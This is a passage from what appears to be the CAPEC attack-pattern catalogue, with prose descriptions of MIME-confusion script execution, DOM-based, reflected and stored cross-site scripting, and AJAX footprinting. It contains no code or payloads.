An adversary creates a file with scripting content but where the specified MIME type of the file is such that scripting is not expected. The adversary tricks the victim into accessing a URL that responds with the script file. Some browsers will detect that the specified MIME type of the file does not match the actual type of its content and will automatically switch to using an interpreter for the real content type. If the browser does not invoke script filters before doing this, the adversary's script may run on the target unsanitized, possibly revealing the victim's cookies or executing arbitrary script in their browser.
CAPEC-588: DOM-Based XSS
This type of attack is a form of Cross-Site Scripting (XSS) where a malicious script is inserted into the client-side HTML being parsed by a web browser. Content served by a vulnerable web application includes script code used to manipulate the Document Object Model (DOM). This script code either does not properly validate input, or does not perform proper output encoding, thus creating an opportunity for an adversary to inject a malicious script launch a XSS attack. A key distinction between other XSS attacks and DOM-based attacks is that in other XSS attacks, the malicious script runs when the vulnerable web page is initially loaded, while a DOM-based attack executes sometime after the page loads. Another distinction of DOM-based attacks is that in some cases, the malicious script is never sent to the vulnerable web server at all. An attack like this is guaranteed to bypass any server-side filtering attempts to protect users.
CAPEC-591: Reflected XSS
This type of attack is a form of Cross-Site Scripting (XSS) where a malicious script is "reflected" off a vulnerable web application and then executed by a victim's browser. The process starts with an adversary delivering a malicious script to a victim and convincing the victim to send the script to the vulnerable web application.
CAPEC-592: Stored XSS
An adversary utilizes a form of Cross-site Scripting (XSS) where a malicious script is persistently "stored" within the data storage of a vulnerable web application as valid input.
CAPEC-63: Cross-Site Scripting (XSS)
An adversary embeds malicious scripts in content that will be served to web browsers. The goal of the attack is for the target software, the client-side browser, to execute the script with the users' privilege level. An attack of this type exploits a programs' vulnerabilities that are brought on by allowing remote hosts to execute code and scripts. Web browsers, for example, have some simple security controls in place, but if a remote attacker is allowed to execute scripts (through injecting them in to user-generated content like bulletin boards) then these controls may be bypassed. Further, these attacks are very difficult for an end user to detect.
CAPEC-85: AJAX Footprinting
This attack utilizes the frequent client-server roundtrips in Ajax conversation to scan a system. While Ajax does not open up new vulnerabilities per se, it does optimize them from an attacker point of view. A common first step for an attacker is to footprint the target environment to understand what attacks will work. Since footprinting relies on enumeration, the conversational pattern of rapid, multiple requests and responses that are typical in Ajax applications enable an attacker to look for many vulnerabilities, well-known ports, network locations and so on. The knowledge gained through Ajax fingerprinting can be used to support other attacks, such as XSS.